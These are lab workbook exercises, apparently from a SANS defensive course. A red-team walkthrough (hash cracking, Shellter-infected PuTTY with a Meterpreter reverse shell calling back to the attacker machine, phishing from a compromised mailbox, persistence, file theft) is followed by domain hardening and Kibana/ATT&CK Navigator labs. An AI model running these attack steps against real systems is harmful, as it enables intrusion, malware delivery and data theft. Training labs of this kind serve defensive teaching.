SEC599-1.1: Exercise - One click is all it takes

Objective

The objective of this offensive lab is to obtain an in-depth understanding of how APT-style
attacks are launched against organisations. You will see the environment through the eyes of
the adversary, which will be fundamental to implement the right defences later on!

Scenario

One click is all it takes - As a first piece of work for SYNCTECHLABS, you want to assess how
bad it really is... You will perform a red team test from an external perspective, in an attempt
to obtain domain admin access.

Having a look at the www.synctechlabs.com for a start is probably a good idea...
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Exercise 1 : SEC599-1.1

1.

Getting started - Kali Linux

As a first step, let's authenticate to our Kali linux machine we can use for our red
team test.

You can use the following credentials:

Username: root
Password: Awesomesaucel23

Reconnaissance - Open the browser

Once the Kali desktop has loaded, let's launch the Firefox browser that is included! A
shortcut to the Firefox browser can be found at the left of the screen, at the top of
the menubar.

Should you receive a "Well, this is embarrassing." screen, please ignore it (it's related
to the Firefox cache, but doesn't affect our exercise) and just proceed with the next
steps.

3. Reconnaissance - www.synctechlabs.com



So, let's have a look at the corporate website of our target: www.synctechlabs.com. A
bookmark for the website has been added in the Firefox browser...

Can you find some interesting information we can use to target SYNCTECHLABS?

When you investigate the corporate web site (www.synctechlabs.com), it
appears they are rather secretive and don't share any contact information...
We can however identify a contact address in the web site source code
(dwight.schrute@syntechlabs.com).

You can access the web site source code by right-clicking anywhere on the
web page and "View Page Source".

4. Reconnaissance - Password dump

So, we now have an e-mail address we could use to target SYNCTECHLABS
(dwight.schrute@synctechlabs.com). But...

SYNCTECHLABS has invested heavily in security awareness and the users don't click
on any URLs from external mail addresses!

During your research however, you found an interesting pastebin entry that was
downloaded to the desktop (to_investigate_pastebin). Data breaches involving
corporate accounts are a big thing these days!

Can you open it (doubleclick) and find a relevant entry?

9 If you search the file (CTRL+F or CMD+F), you'll notice there is an entry for
"michael.scott@synctechlabs.com".



5. Reconnaissance - Opening a terminal in Linux

Let's do some command line kung fu! As a first step, let's launch a terminal in Kali,
which you can do by clicking the terminal icon on the left-hand side of the screen
(third icon in the menu bar).

You should see a command prompt with a black background with the following
prompt:

root@kali:~#



6. Reconnaissance - Copy entry to file

We will now extract the hash entry related to michael.scott@synctechlabs.com and
copy it to a new file. In the terminal window that is open, run the following
commands:

root@kali:~# cat Desktop/to_investigate_pastebin | grep synctechlabs

You can verify the output of your command, to make sure you only have 1 entry, after
which you can proceed to write this entry to a file:

root@kali:~# cat Desktop/to_investigate_pastebin | grep synctechlabs >
Desktop/hashtocrack

7. Reconnaissance - Cracking the password hash
The pastebin note included in a small hint (Unsalted MD5 for the win!) as to the hash
format of these password hashes. We can use a tool like John or Hashcat to try
cracking the password... Let's start off with John, which is very easy to use! We can
have it trying to crack the password from the file using the following command line:
root@kali:~# john --format=raw-md5 Desktop/hashtocrack

This probably won't take too long :)

9 We can see that the password for michael.scott@synctechlabs.com is
"Password1".

8. Reconnaissance - Trying the password



While using the Firefox browser before, you may have noticed that there was another
bookmark labelled "STC - Webmail". Let's try authenticating to the webmail to see if
the Michael Scott reuses the password from the data breach in the corporate
environment. Please take the following steps:

o Open Firefox (if it was closed)
o Open the "STC - Webmail" bookmark

o Provide the following credentials:

m Username: michael.scott@synctechlabs.com
m Password: Passwordl

If all goes well, authentication should succeed and you should receive access to
Michael Scott's mailbox. We have now successfully compromised an internal
SYNCTECHLABS mail account, from which we can further send out phishing mails
internally!

9. Weaponization - Creating a payload

We will now create a payload that we can send from michael.scott@synctechlabs.com
to dwight.schrute@synctechlabs.com! As indicated before, the users at
SYNCTECHLABS don't trust external mails, but maybe we can fool them by sending
internal mails?

We could use "msfvenom" (part of the Metasploit toolkit) to generate a payload, but
this would most likely be detected by an AV engine...

An interesting AV-evasion project is called "Shellter", which alllows you to generate
payloads that evade most AV engines. We will use it to create a payload! in this step!



10. Weaponization - Launching Shellter

In a command line prompt, please launch Shellter:
root@kali:~# shellter

A few verbose comments will appear, after which you will be presented with Shellter's
main interface.

11. Weaponization - Configuring Shellter
Let's configure Shellter! One of the nice things about Shellter is that it can "infect" a
benign file with a payload by using a technique called "PE Infection". This is a rather
stealth way to attempt AV evasion. We will configure Shellter as follows (note that in
between the different steps, you will notice some verbose / debug information):
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /root/Desktop/putty32.exe

You can ignore any warnings that might be presented (just press "ENTER" to
continue).

Enable Stealth Mode? (Y/N/H): Y

Use a listed payload or custom? (L/C/H): L



Select payload by index: 1
SET LHOST: 10.10.10.15
SET LPORT: 8080

Some notes to add here:

o We are injecting our malicious payload in a standard Windows32 putty
executable

o We are using a meterpreter_bind_tcp payload, which is a standard payload for
Metasploit

o We will have the infected system connect back to us (our Kali machine has
10.10.10.15 as an IP address) on port 8080

12. Weaponization - Making sure our firewall is down

13.

During our attack, we are going to be compromising a system and have it connect
back to us. For this to work, we need to ensure the victim can connect back to us. We
will clean our iptables setup using the following commands (we will run them in the
terminal we just opened):

root@kali:~# jptables -F
root@kali:~# iptables -I INPUT -j ACCEPT

Note that Linux is case sensitive and thus the case of the commands, flags &
parameters is important. Incorrect case usage will result in an error.

Weaponization - Launching Metasploit

Once iptables has been configured in the previous step, we will start the Metasploit
Framework console by clicking the Metasploit Framework shortcut on the left-hand
side of the screen (5th icon in the menu bar). This will launch a new terminal window,
in which the Metasploit console is started.

Once Metasploit has been launched (you will first see some debug metasploit info,



after which ASCII art is generated), you will receive a metasploit prompt:

msf >

Metasploit is an exploitation framework, designed to facilitate the creation &
use of exploits. One of its key strengths is that it has "standardized" the
development of exploits through its modular design!

While this is not an offensive course, we will interact with Metasploit in this
offensive lab, as we want to illustrate how easy adversaries can launch
attacks against your environment.

14. Weaponization - Selecting the exploit (handler)

We will now use the Metasploit "multi handler" to handle the incoming connection
from our infected putty32.exe. We can do this by running the following command:

msf > use exploit/multi/handler

You can list the options available for the multi handler by running

msf exploit (multi/handler) > show options



There are not a lot of options available, as the handler needs to be configured for the
correct payload!

15. Weaponization - Selecting the payload

Now the exploit (handler) is selected, we need to add a payload ("What do we want
to do with our exploit?"). It's important that we use the same payload as the one
configured in Shellter: meterpreter/reverse_tcp

msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp

When running the show options command again, some additional, payload-specific,
options have popped up!

msf exploit(multi/handler) > show options

The following are key options we need to configure:
o EXITFUNC: the exit technique used by the payload, we will use the standard,
default, technique
o LHOST: the local listener IP address for the Meterpreter C&C channel
o LPORT: the local listener port for the Meterpreter C&C channel



16.

17.

Weaponization - Configuring the payload

Once the payload is selected, we will configure the following options (as we did in
Shellter):

o LHOST: 10.10.10.15
o LPORT: 8080

Note that we are not configuring the EXITFUNC options, which will make Metasploit
configure it using the default technique, which is fine for our attack. We can configure
the other options by again using the "set" command:

msf exploit(multi/handler) > set LHOST 10.10.10.15
msf exploit(multi/handler) > set LPORT 8080

Weaponization - Validating options

This concludes all required configuration steps. Let's now validate that all settings are
correct by running the "show options" command:

msf exploit(multi/handler) > show options



Due to the size & length of the output, you will have to scroll a little bit (or enlarge
the size of your terminal window), but this command should return the following
values:

o LHOST: 10.10.10.15
o LPORT: 8080

18. Weaponization - Launching the exploit

Once you have validated all options in the previous step, we can run the “exploit”
command in Metasploit, which will launch our attack:

msf exploit(multi/handler) > exploit

As a result of our configuration, Metasploit will now start listening for a connection on
port 8080. DO NOT CLOSE THIS WINDOW! :)

19. Delivery - Hosting our payload

While preparing for this red team, Alan Marshall reviewed the Internet for available
SYNCTECH-related domain names. One of the domain names that was still available
was www.synctechlabs-updates.com! He registered the domain name and pointed the
DNS record to his Kali machine! When you browse to the www.synctechlabs-
updates.com web site, you will see the default Apache2 configuration!

Let's use this domain to host our malicious payload!



20.

21.

Delivery - Moving the payload to web root

Let's move our Putty32.exe payload to the web root, where we can serve it to Internet
users. Please enter the following terminal command to achieve this:

root@kali:~# mv /root/Desktop/putty32.exe /var/www/html/putty32.exe

Delivery - Creating the phising email

Please switch back to the "STC - Webmail" window, where we can now craft our
phishing mail. Should you have closed the webmail interface, please repeat the steps
from task 8!

Depending on your screen resolution, you'll display might be a little different. In order
to create a new mail however, please look for the green circle with the pen icon
(which should be somewhere at the bottom of the screen).



22. Delivery - Sending the phishing mail

Please refer to the screenshot for the phishing mail contents! Once it is finished,
please press the "Send" button (top right corner of the screen).



23.

24,

Delivery - Switch to Dwight's workstation

In order to speed things up, let's play the role of Dwight for a second now. Please
switch to Dwight's workstation (Windows01). You can do this by either clicking the
"Machines" tab of the LODS interface, or by clicking the computer icon to the right.

You can use the following credentials for authentication:

o Username: dwight.schrute

o Password: BattleSt4r

Exploitation - Open the phishing mail

On Dwight's workstation, please open the Microsoft Mail tool (in the taskbar, envelope
icon). If you haven't received any mails just yet, please click the "Sync this view" icon,
which is the left icon on the right hand corner.

Once you have received the mail, please download the link included and run it!
Should you receive a "SmartScreen" warning (this is Microsoft's reputation-based
service for unknown executables), please act like a normal user would and click "More

Info" -> "Run anyway".

Once you have opened the putty executable (and you see the Putty configuration
screen), please swap back to the Kali attacker machine!



25. Exploitation - Interacting with meterpreter

On the Kali machine, please bring the Metasploit window (which you shouldn't have
closed) to the foreground. It should have a "meterpreter" prompt ready for you:

meterpreter >

The meterpreter command we can then run is “sysinfo”, which will provide some basic
information on the system:

meterpreter > sysinfo

In order to know more about the possibilities in the meterpreter, you can run the
“help” command. Again, we will only use some basic meterpreter functionality, as this
is not an offensive / penetration testing course.



26. Exploitation - Further Enumeration

Once the meterpreter is up and running, we can use different commands to obtain
information on our victim:

o The “getuid’ command tells us we are currently running with the privileges of
user dwight.schrute, part of the SYNCTECHLABS Windows domain.
o The “jpconfig’ reveals our internal IP address is 192.168.10.15

Again, note that this is only a very small selection of modules that can be used when
the meterpreter is running.



27. Persistence - Running a Meterpreter script

We now have a working Meterpreter session towards our victim machine. Do note
however that our session is not persistent. Once the user kills the process we are
running in (e.g. when he reboots the machine), our session will terminate and it won't
be relaunched.

We can however use the current Meterpreter session to achieve persistence on the
target machine. Metasploit has a built-in Meterpreter script that can persist itself on
the target in various ways (e.g. as a service, as a application that starts on start-

up,...)

You can review the different options by running the following command:
meterpreter > run persistence

Metasploit will warn us that "Meterpreter scripts" are deprecated. This is a warning

you can safely ignore, as they still work and the scripts are one of the easiest ways of
achieving persistence.



28. Persistence - Metasploit post-exploitation

We now have a persistent Meterpreter session running which will allow us to start
using Metasploit's post-exploitation modules. The Metasploit post-exploitation modules
are divided in three main categories: Gather, Manage, Escalate.

In order to access the post-exploitation modules, we must first background our
meterpreter session, which will drop us again at the previous Metasploit prompt:

meterpreter > background
msf exploit(multi/handler) >

The post-exploitation modules are stored under the “post/” section. We will explore
some of the post-exploitation modules in the next few steps of this lab.

29. Action on objectives - System enumeration

An interesting post-exploitation module is the “enum_applications” module, which will
enumerate installed software versions on the infected machine. We can select it and
view its options using the following syntax:



msf exploit(multi/handler) > use post/windows/gather/enum_applications
msf post(windows/gather/enum_applications) > show options

As with the majority of post-exploitation modules, it only requires the SESSION
identifier to be configured.

msf post(windows/gather/enum_applications) > set SESSION 1
msf post(windows/gather/enum_applications) > exploit

The output of the enum_applications command provides a detailed list of installed
software on the victim system. This software overview can be highly useful to launch
further attack stages (e.g. vulnerabilities in installed software that could lead to local
privilege escalations).

Please take your time and try one or two other modules as well! Some ideas:

post/windows/gather/enum_ad_computers (BONUS: Can you figure out why this
module only returns the Domain Controller and not any other Windows systems?)

30. Action on Objectives - Stealing files

Let's try searching Dwight's machine for interesting Excel spreadsheets (.xIsx). A
typical corporate machine will have tons of spreadsheets with interesting data.

We can do this by using the "windows/gather/enum_files" post-exploitation module.

msf post(windows/gather/enum_ad_computers) > use post/windows/gather
/enum_files

We can anlyze the available modules by running:



31.

msf post(windows/gather/enum_files) > show options

Let's try looking through the entire C:\ drive for .xIsx sheets! We can use the following
configuration:

msf post(windows/gather/enum_files) > set SESSION 1

msf post(windows/gather/enum_files) > set SEARCH_FROM C:\\
msf post(windows/gather/enum_files) > set FILE_GLOBS "*.xlIsx"
msf post(windows/gather/enum_files) > exploit

This might take a few minutes, but ultimately, we should see an Accounts.xlsx file
being downloaded from Dwight's desktop!

Once you are finished, try opening this in your Kali Linux machine and enjoy the
"spoils" 1)

HINT: Move the file to your desktop and rename the file extension to ".xlsx."

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how typical adversary emulation tools work and how quickly an adversary
can walk through a basic attack to obtain access to his target. We will further build on
this knowledge throughout the rest of the week.

ATTENTION: Finishing this step will close your lab!



SEC599-1.2: Exercise - Hardening our domain using SCT & STIG
Objective

The objective of the lab is to harden our domain environment using Microsoft Security
Compliance Toolkit. We will review our existing GPO’s and deploy Microsoft’s recommended
best practices. Thread carefully in a production environment though!

Scenario

We will take the following high-level exercise steps:

1. Run PolicyAnalyzer to get an initial overview of policy settings
2. Get familiar with the Security Compliance Toolkit

3. Harden the environment according to best practices

4. Run PingCastle and review the assigned score

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Windows01

4. SEC599-E01 - Windows02

SEC599-1.2

1. Authenticate to the Domain Controller
Authenticate to the Domain Controller using the following credentials:

o Username: Administrator

o Password: Synct3chlabs

2. Open the Policy Analyzer

Let's open the Microsoft SCT (Security Compliance Toolkit), which was downloaded on
to the Desktop of the domain controller. It includes the following components:

o The "PolicyAnalyzer" folder: This includes the policy analyzer which can be
used to analyze the currently configured domain & local policies.

o Hardening tools for different versions of Windows 10 and Windows Server
2016

Let's open the Policy Analyzer tool, which is located under the "PolicyAnalyzer" folder,
called "PolicyAnalyzer.exe".



3. Add GPO's to the Policy Analyzer

Let's compare our current configuration with the GPQO's included in Microsoft's SCT. As
a first step, we need to import the GPQO's that we downloaded. You can do this by
clicking:

o Add...

o In the new window, click "File" -> "Add Files from GPO(s)"
In the new "Explorer" window, make sure you are in the following location:
C:\Users\Administrator\Desktop\Microsoft SCT\Windows 10 Version 1607 and

Windows Server 2016 Security Baseline\Windows-10-RS1-and-Server-2016-Security-
Baseline|GPOs

You will notice a list of entries with seemingly random folders. This is normal and a
typical folder structure for GPO's. You can now click "Select Folder". The result should
be similar to the screenshot attached.



4. Save Policy Rules

Let's now click the large "Import..." button to import the GPO's and save them in a
"Policy Rule" file, which we can use to compare too!

In the new window that opens up, please save the Policy Rule file
(name: Win10_1607_Server2016.PolicyRules) under:

C:\Users\Administrator\Desktop\Microsoft SCT\

Once you click the "Save" button, please follow up with "Run" should you be
prompted to confirm!



5. Change Policy Rule location

Back in the Policy Analyzer main window, let's now select the Policy Rule file that we
just created. We can do this by clicking the location of "Policy Rule sets in:" (which is
currently set to C:\Users\Administrator\Documents\PolicyAnalyzer).

Click it and select the following location:

C:\Users\Administrator\Desktop\Microsoft SCT\

Once this is done, you will notice a new entry in the main Policy Analyzer window
(refer to screenshot).



6. Compare the current configuration to the rule file

Let's now compare our current Domain Controller configuration to the Microsoft
provided baseline. In order to do this, select both the "Compare local registry" and
"Local policy" at the top of the window.

After this, select the "Win10_1607_Server2016" entry in the main window. Once
done, click the "View / Compare" button on the right.

You may be prompted for confirmation ("click Run") several times, please do confirm!

7. Analyzing the results of the comparison

In the new window that is created ("Policy Viewer"), let's review the different settings.
You will notice that a lot of settings are not configured by Microsoft in the standard
configuration. We can look for differences & missing values by using the "View" ->
"Show only Conflics" or "Show only Differences" entries.

We will further discuss what controls are important throughout the week! As this
"baseline" configuration doesn't tell us a lot, let's have a look at the STIG developed
by the DoD instead!



8. Import STIG DC template

Let's close the "Policy Viewer" and import the STIG GPO's as well. You will notice in
the Policy Analyzer main window that a "LocalyPolicy_DC_..." entry has been created,
these are the policy results that were read in the analysis just now. This is useful for
baselining and tracking of progress!

Let's repeat the same steps to add the STIG GPO's:

(e]

(e]

(e]

Click "Add ..."
In the Policy File Importer window, click "File" -> "Add files from GPO(s)..."

Browse the "C:\Users\Administrator\Desktop\STIG\GPO\DoD Windows Server
2016 and DC v1r6" directory

Click "Select Folder"

In the "Policy File Importer", let's now select two entries:

= DoD Windows Serer 2016 Domain Controller STIG Computer v1r6 (Policy
Type: Computer)

= DoD Windows Serer 2016 Domain Controller STIG User v1r6 (Policy
Type: User)

We can then click "Import..." again. We can save the Policy Rule as
"STIG_DC2016.PolicyRules"



9. Compare current configuration with STIG

Let's now compare our current Domain Controller configuration to the STIG baseline.
In order to do this, select both the "Compare local registry" and "Local policy" at the
top of the window.

After this, select the "STIG_DC2016" entry in the main window. Once done, click the
"View / Compare" button on the right.

You may be prompted for confirmation ("click Run") several times, please do confirm!

10. Analyzing the results of the comparison



In the new window that is created ("Policy Viewer"), let's review the different
settings. This time around, you will notice a lot of "yellow", indicating conflicting
configurations. As before, we can look for differences & missing values by using the
"View" -> "Show only Conflics" or "Show only Differences" entries.

11. Open Group Policy Management

Let's start hardening / applying these GPQO's! We will now open the Group Policy
Editor, which can be achieved by:

o C(licking the "Server Manager" (toolbox icon) in the taskbar

o In the Server Manager window, click "Tools" -> "Group Policy Management"

12. Create the STIG GPO
Let's now import the STIG GPO settings. We can do this, by first creating a new Group



Policy Object. This can be achieved by right-clicking the "Group Policy Objects" in the
left-hand side of the window and select "New". As a name, please use "STIG -
Computer Policy".

13. Import the STIG settings

Now that the STIG GPO entry is created, we can import the different settings from the
STIG package. We can do this by:

o Right-clicking the "STIG - Computer Policy" Group Policy Object
o Click "Import Settings..."
o Wizard

m First window click "Next"

m Second window just click "Next" (we don't want to back up existing
config as it's empty)

= Third window, browse to the following backup folder:

C:\Users\Administrator\Desktop\STIG\GPO\DoD Windows Server 2016
MS and DC v1r6\GPOs

m The fourth window will list all of the backed up GPQO's. We will import the
"DoD Windows Server 2016 Domain Controller STIG Computer v1r6"
(you will have to adapt the view a bit to see the full GPO names)

= Once the "Scan Results" are finished (should be immediate), click "Next"
again



= In the next window, select "Copying them identically from the source".
In a complex production environment, you might need to perform
additional mapping, but for our purposes a direct copy is fine.

m Finish

14. Review STIG Settings

Let's have a look at the STIG settings now! We can select the "STIG" Group Policy
Object in the left-hand window, after which we can select the "Settings" tab in the
right-hand window.

Feel free to explore these Settings to understand what kind of controls are being
enforced in these STIGs. You could for example easily spot the password complexity
settings under:

"Computer Configuration (Enabled)" -> "Policies" -> "Windows Settings" -> "Security
Settings" -> "Account Policies / Password Policy"

You can find typical settings there including maximum password age, minimum
password age, minimum password length,...

You will notice that a lot of the STIG settings are aimed at improving logging &
monitoring settings as well! In a production environment, we can now further finetune



these hardening settings!

15. Apply STIG settings to Domain Controllers

Let's now apply our STIG GPO to the domain controllers. We can easily do this by
right-clicking the "Domain Controllers" container in the left-hand side of the window
and selecting "Link an Existing GPO...". In the next window we can select the "STIG -
Computer Policy" and click OK.



16. Refresh domain controller group policy

Once the STIG GPO has been linked, let's try to refresh the Domain Controller policies.
We can do this by opening a Windows command prompt and running:

C:\Users\Administrator> gpupdate

You will receive an error message while applying the GPO. This is to be expected, as
we have not tailored the GPOs to our environment just yet. As an example, the STIGs
require you to manually add the names of your Domain Administrators in some of the
settings! In a production environment, we would now further customize and
troubleshoot!



17. Switch to Windows02 machine

18.

Now let's switch to the Windows02 machine. You can this by clicking on the computer
sign to the right here, or by selecting the "Machines" menu item in the top right of the
screen. The credentials to authenticate to the Domain Controller are:

o Username: Alan.Marshall

o Password: Awesomesaucel23

Launch PingCastle

We would now like to approach AD configuration from a different (read: offensive)
perspective. We will use PingCastle, a tool written by Vincent Le Toux (also an author
of Mimikatz), which does a "quick" check of the AD environment!

We have downloaded it and placed it on the Desktop. As indicated, PingCastle is not a
full-blown auditing tool (like the Security Compliance Toolkit), but it gives a "quick"
scoring of the AD environment (based on how typical attacks happen) which can help
be a guideline and spot quick wins!

You can open PingCastle by opening the "Blue Team" folder on the desktop, browsing
the "PingCastle" Subfolder and doubleclicking "PingCastle.exe"!



19. Run PingCastle with default mode
In the next screen, PingCastle will ask you a few questions:

o What you would like to do?
o The name of the domain that is to be audited

For both of these values, we can keep the default setting (which means to perform a
healthcheck on the synctechlabs.com domain). To keep these settings to the default,
please press "ENTER", so PingCastle can continue!

Feel free to further customize these values if you are running this tool in a production
environment. You will notice how effective PingCastle is, at it quickly gathers data and
generates a report.

It's useful to note that all checks done by PingCastle in the health check can be
executed using only a normal domain user account. This is one of the design choices
of the tool creators (for increased simplicity).



20. Open the report

21.

PingCastle generates a report in the directory it was launched from (so under the
Desktop, Blue Team, PingCastle folder), the filenames should be
"ad_hc_synctechlabs.com.html" and "ad_hc_synctechlabs.com.xml".

Once opened, the report will provide you with a "simple" scoring on a scale of 100.

Analyze the report

So... Let's have a look at the situation of our synctechlabs.com domain. You'll notice
there's a few items not correctly configured:

o No recent AD backup

o Password complexity settings are not always properly enforced
o LAPS (Local Administrator Password Solution) is not installed
o ..

We'll discuss these topics (and more!) as we walk through the rest of the labs during
SEC599! The goal of the lab was provide you with a "quick" introduction on how
Group Policies work and how online templates can be used to get an initial baseline
security configuration.

We would also like to point out to the "limitation" of GPO standards & checklists: Even
if compliant with baselines such as STIG, there is still a considerable domain risk score
when PingCastle is used.



22. Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was

to provide insights in how typical hardening tools and frameworks work and what kind
of value they can bring. We will zoom in on specific hardening controls in later
sections of the lab.

ATTENTION: Finishing this step will close your lab!



SEC599-1.3: Exercise - Kibana, ATT&CK Navigator and FlightSim
Objective

High-level exercise steps:

e Get familiar with the Elastic stack (that’s already been set up for you)
e Navigate around the MITRE ATT&CK Navigator

e Use FlightSim to simulate some malicious network traffic

e Review "standard" detection capability of the IDS

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Ubuntu03

4. SEC599-E01 - Windows02

Exercise 1 : SEC599-1.3

1. Authenticate to Windows workstation

We will start this lab by authenticating to our WINDOWS02 workstations using our
usual credentials:

o Username: Alan.Marshall

o Password: Awesomesaucel23

2. Reviewing our Elastic stack

As previously indicated, we will be using an Elastic setup during the SEC599 class. We
have pre-configured Logstash parsers & dashboards that can be further built on. Let's
have a look! Please first double-click the Putty icon on the Desktop!

In the Putty window, please select the "Ubuntu03" session, which has been
preconfigured. When you double-click, you will automatically authenticate to the
system using your private key!



3. Browse the /etc/logstash/conf.d directory

One of the most crucial components of the Elastic stack is Logstash. Logstash is the
"parsing" engine of Elastic, used to parse different types of logs and subsequently
store them in an engine (typically the Elasticsearch engine). We can open the
Logstash configuration directory using the following command:

alanmarshall@ubuntu03:~$ cd /etc/logstash/conf.d/

4. Review Logstash configuration files

In the Logstash configuration directory, you will observe different files (you can list
them using the Is command):

01-inputs.conf



This file defines how Logstash should receive logs. This will typically include a number
of "listeners" that wait for logs being forwarded over a network port. You can review
the contents of the file by running the following command:

alanmarshall@ubuntu03:/etc/logstash/conf.d# cat 01-inputs.conf

You will notice that we use a few different network ports to consume logs from (for
Syslog, Windows event logs & OSQuery).

10-syslog.conf, 11-pfsense.conf, 12-winevents.conf & 13-osquery.conf

Next, we have a number of configuration files that indicate how logs should be
parsed. Feel free to review these. Depending on the log type, Logstash will require a
LOT of configuration, our the configuration will be limited. You will notice that the 10-
syslog.conf and 11-pfsense.conf configuration files are rather extensive. This is
because they are designed to parse all PfSense syslog communication and thus rely
on GROK patterns (stored in the patterns folder) to parse.

The "12-winevents.conf" and "13-osquery.conf" configuration files on the other hand
are rather limited, as they receive pure JSON logs, which can be "automatically"
parsed by Logstash.

You can review the files by running the following commands:

alanmarshall@ubuntu03:/etc/logstash/conf.d# cat 10-syslog.conf
alanmarshall@ubuntu03:/etc/logstash/conf.d# cat 11-pfsense.conf
alanmarshall@ubuntu03:/etc/logstash/conf.d# cat 12-winevents.conf
alanmarshall@ubuntu03:/etc/logstash/conf.d# cat 13-osquery.conf

30-outputs.conf

Finally, the results of the Logstash parsers are to be written somewhere. This is
configured using the 30-outputs.conf file. In this file, you will notice that we write all
data to a local Elasticsearch engine.

alanmarshall@ubuntu03:/etc/logstash/conf.d# cat 30-outputs.conf

Note that Logstash will parse all configuration files located in the conf.d directory, so
you can create configuration filenames with any kind of hame. We have just chosen to
use filenames that make sense to provide facilitated troubleshooting!



5. Launching Logstash
Let's launch our Logstash engine so we can start receiving logs:

alanmarshall@ubuntu03:/etc/logstash/conf.d# sudo service logstash start

The password you can provide is again "Awesomesaucel123". Please also launch the
nginx server:

alanmarshall@ubuntu03:/etc/logstash/conf.d# sudo service nginx start

This could take a few moments (not too long though)! Once finished, please feel free
to close the Putty session:

alanmarshall@ubuntu03:/etc/logstash/conf.d# exit

6. Review NXlog configuration file

So how does our Logstash configuration receive logs? There's a few systems that are
feeding information to Logstash:

o The Windows workstations and domain controller have NXLog configured to
forward Windows event logs

o The PfSense firewall is configured to forward logs (including Squid & Suricata)

o Kolide Fleet & OSQuery store logs centrally and are forwarded using Filebeat
Let's analyze a first element of the setup and review the NXLog configuration file on
our Windows workstation. You can open the following file:

C:\Program Files (x86)\nxlog\conf\nxlog.conf

You will see that it's configured to forward the Application, System & Security logs to
192.168.30.16 (port 5141). Furthermore, it will ship these logs as JSON, which is the
preferred format for Logstash.



7. Review PfSense log forwarding configuration

As a next step, let's analyse our PfSense configuration! Please open the Chrome
browser and click the "PfSense Firewall" favourite (under Administration bookmark
folder). You can authenticate to PfSense using the following credentials:

o Username: admin
o Password: Awesomesaucel23

In the PfSense main interface, please select "Status" in the top menu and go for
"System Logs". In this next window, please go to the "Settings" section (which is on
the right-hand side).

In the Settings section, scroll down until you see the section where log forwarding is
configured ("Remote Logging Options"). You should see that all Syslog events are
being forwarded to 192.168.30.16 (port 5140).



8. Open Kibana to view logs

Now that we've reviewed all of the Logstash configurations, let's have a look at the
visualization! For this, we will open Kibana in our browser. Kibana is the visualization
layer of the Elastic stack and can be used to create searches, visualizations &
dashboards that can be reviewed by analysts.

We have already prepared some basic dashboards for you, which we will now use! We
will further build on these dashboards throughout the rest of the week.

Please open Chrome and click on the "Kibana" bookmark. You will need credentials,
which are the following:
o Username: alanmarshall

o Password: Awesomesaucel23



9. Open Kibana dashboards

In Kibana, please click the "Dashboards" menu item. You will notice that some
dashboards have already been created:

o PfSense

o Squid

o

Suricata
o Windows event logs
o ...

A dashboard in Kibana is nothing more than a collection of visualizations. We will
create some visualizations & dashboards later this week! In these dashboards, it's
very easy to create filters to zoom in on data that we are interested in!



10. Open Squid dashboard

As an example, please click the Squid dashboard and review what kind of data is in
there. You will note that we have created some basic visualizations already!

11. Kibana time range

A fundamental setting in the Kibana dashboards is the "time range selector" at the top
right hand side of the screen. The default setting is "Last 15 minutes". You can be



very specific in the time range:
o It can be a quick selector like "Today", "This week",...

o It can be a relative term like "From 15 minutes ago to 15 minutes from now"

o

It can be an absolute value (this specific day)

o ...

When working with new Kibana dashboards or log sources, it can be a good idea to
play around with the time range (e.g. selecting a broad time range) to troubleshoot
any time differences configured on the machines (which would need to be fixed).

For our lab, let's just select the "Today" time filter.

12. Create a filter

Let's play around with these dashboards! Kibana allows for easy filtering and drilling

down in logs. Let's analyze how this works by creating a filter. On the right-hand side
of the dashboard, you will notice the "Top HTTP Methods" visualization. We can filter
on "GET" HTTP requests by clicking the GET section of the pie chart.

Alternatively, you can click the GET entry in the legend and click the magnifying glass
with a "+" icon in it). This will create a filter that filters the dashboard for HTTP
requests that use "GET" as a method.



13.

Invert a filter

So let's assume we would like to invert this filter (to exclude GET requests). We can
do this by:

o Hovering over the verb.keyword: "GET" button

o Clicking the middle icon (that looks like a magnifying glass). The magnifying
glass will either have a "-" or "+" inside depending on whether you want to
include or exclude the filter value from your results.

You will see the dashboard being updated!



14. Edit filter
So let's assume we would like to adapt this filter manually. We can do this by:

o Hovering over the verb.keyword: "GET" button

o Click the "edit" icon (icon at the right-end of the button that looks like a pencil
with a square)

o In the window that pops up, let's adapt the GET string to CONNECT
o Once finished, please click "Save".

You will see the dashboard being updated!



15. Remove the filter

Let's remove the filter. In order to do this, hover over the verb.keyword:
"CONNECT" button again and click the trashcan icon.

Once clicked, the dashboard should automatically refresh to again include all requests.

16. Search a string



Finally, let's attempt to search for values in these dashboards. We can do this by
entering for example a string in the "Search..." field. Let's try searching for the
"Mozilla" string.

You can do this by entering the "Mozilla" string in the Search... field, after which you
can press ENTER. The dashboard will load all values that match your string (which will
include only entries that have Mozilla somewhere).

This was a very basic example. Note that the Search function relies on Apache Lucene
query syntax, which can sometimes be a bit counter-intuitive (depending on your
preference!). Trial and error is key :)

If you have developed a series of filters, you could easily save them to the dashboard
as well (by saving the dashboard)!

17. Introducing MITRE ATT&amp;CK Navigator

So, this was a "quick" intro to Kibana and this should give you an initial understanding
of what the monitoring capability at SYNCTECHLABS looks like. Let's now have a look
at the MITRE ATT&CK Navigator!

Please open a new tab (leave the Kibana tab open, we will use it later), and click the
"ATT&CK Navigator" bookmark in the Chrome bookmarks tab.



18. View techniques used by APT-29

As we indicated before, MITRE ATT&CK is a huge repository of information on
adversary TTPs. Its Navigator allows organisations to keep a central, customised,
dashboard on how they are defending against typical TTPs. Let's explore the MITRE
ATT&CK Navigator...

Say we are a government entity that is a likely target of APT-29... Let's see what
techniques are most relevant to APT-29 and highlight them in the ATT&CK Navigator.
We can do this by:

o Clicking the "Multi-Select" icon in the toolbar (which should be the third icon)
o Clicking "Select" next to the APT-29 entry
o Closing the "Multi-Select" pop-up by clicking the icon in the toolbar again

This will now have outlined all MITRE ATT&CK techniques that are known to be used
by APT-29. If your organization is a possible target for APT-29, these should take
priority in adversary emulation, hardening controls, security monitoring, threat
hunting,...



19. Renaming layers in ATT&amp;CK Navigator

Let's create two different layers: One for prevention against APT-29 and one for
detection against APT-29.

We will first rename the current layer "APT-29 - Prevention". You can achieve this by
clicking the "layer" text in the top-left-hand corner and entering the name "APT-29 -
Prevention".



20. Creating a second layer

We will now create a second layer that is based on the existing layer that we just
configured. In order to accomplish this, please take the following steps:

